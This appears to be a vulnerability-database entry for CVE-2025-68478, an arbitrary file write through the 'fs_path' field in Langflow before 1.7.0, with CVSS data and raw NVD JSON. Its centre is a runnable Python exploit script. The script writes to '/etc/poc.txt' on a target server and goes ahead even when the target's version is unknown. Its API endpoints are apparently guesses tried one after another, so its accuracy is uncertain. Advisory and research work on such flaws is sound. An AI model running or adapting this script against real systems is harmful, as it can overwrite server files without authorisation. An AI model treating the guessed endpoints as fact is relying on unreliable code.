Security Vulnerability Report
中文
CVE-2025-68478 CVSS 7.1 HIGH

CVE-2025-68478

Published: 2025-12-19 18:15:52
Last Modified: 2026-01-02 16:20:53

Description

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0, if an arbitrary path is specified in the request body's `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is. Version 1.7.0 fixes the issue.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:* - VULNERABLE
Langflow < 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68478 PoC - Langflow Path Traversal Arbitrary File Write Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-68478 """ import requests import json import sys TARGET_URL = "http://target:3000" TARGET_PATH = "/etc/poc.txt" # Target path to write def create_malicious_flow(): """Create a malicious Flow object for exploitation""" return { "name": "exploit_flow", "data": { "nodes": [], "edges": [] } } def exploit_cve_2025_68478(): """ Exploit path traversal vulnerability in Langflow < 1.7.0 The server serializes Flow object to JSON and writes to arbitrary path """ # Create the malicious request payload payload = { "fs_path": TARGET_PATH, # Path traversal - arbitrary file path "flow": create_malicious_flow() } headers = { "Content-Type": "application/json" } # Try to write to arbitrary path endpoints = [ "/api/v1/flows/save", "/api/flows/save", "/api/v1/files/write" ] for endpoint in endpoints: try: url = f"{TARGET_URL}{endpoint}" print(f"[*] Trying endpoint: {url}") response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS! File written to {TARGET_PATH}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed with status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_version(): """Check if target is vulnerable""" try: response = requests.get(f"{TARGET_URL}/api/v1/version", timeout=10) if response.status_code == 200: version = response.json().get('version', '') print(f"[*] Target version: {version}") # Check if version is < 1.7.0 major, minor, patch = map(int, version.split('.')[:3]) if major < 1 or (major == 1 and minor < 7): print("[!] Target is likely VULNERABLE") return True else: print("[-] Target appears PATCHED") return False except: pass return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-68478 PoC - Langflow Path Traversal") print("=" * 60) # Check version first is_vulnerable = check_version() if is_vulnerable: print("\n[*] Starting exploitation...") exploit_cve_2025_68478() elif is_vulnerable is False: print("\n[-] Target is not vulnerable, exiting.") else: print("\n[*] Could not determine version, attempting exploitation anyway...") exploit_cve_2025_68478()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68478", "sourceIdentifier": "[email protected]", "published": "2025-12-19T18:15:51.623", "lastModified": "2026-01-02T16:20:53.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0, if an arbitrary path is specified in the request body's `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is. Version 1.7.0 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-73"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-610"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.0", "matchCriteriaId": "9D34B381-00FD-4F7D-8B5F-96C3C152B852"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-f43r-cc68-gpx4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-f43r-cc68-gpx4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}